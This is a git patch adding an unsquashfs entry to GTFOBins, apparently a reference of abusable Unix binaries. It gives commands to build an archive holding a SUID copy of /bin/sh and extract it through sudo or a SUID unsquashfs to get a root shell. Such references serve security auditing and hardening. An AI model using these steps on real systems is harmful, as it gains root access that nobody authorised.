From 07dca76e953c0f5513fa8453ea493df6e45aee8a Mon Sep 17 00:00:00 2001 From: godylockz <81207744+godylockz@users.noreply.github.com> Date: Sat, 2 Sep 2023 02:29:00 -0400 Subject: [PATCH] Add unsquashfs Co-authored-by: Andrea Cardaci --- _gtfobins/unsquashfs.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 _gtfobins/unsquashfs.md diff --git a/_gtfobins/unsquashfs.md b/_gtfobins/unsquashfs.md new file mode 100644 index 0000000..852266f --- /dev/null +++ b/_gtfobins/unsquashfs.md @@ -0,0 +1,21 @@ +--- +description: | + `unsquashfs` preserve the SUID bit when extracting the file system. Prepare an archive beforehand with the following commands as root: + + ``` + cp /bin/sh . + chmod +s sh + mksquashfs sh shell + ``` + + Extract it on the target, then run the SUID shell as usual (omitting the `-p` where appropriate). +functions: + sudo: + - code: | + sudo unsquashfs shell + ./squashfs-root/sh -p + suid: + - code: | + ./unsquashfs shell + ./squashfs-root/sh -p +---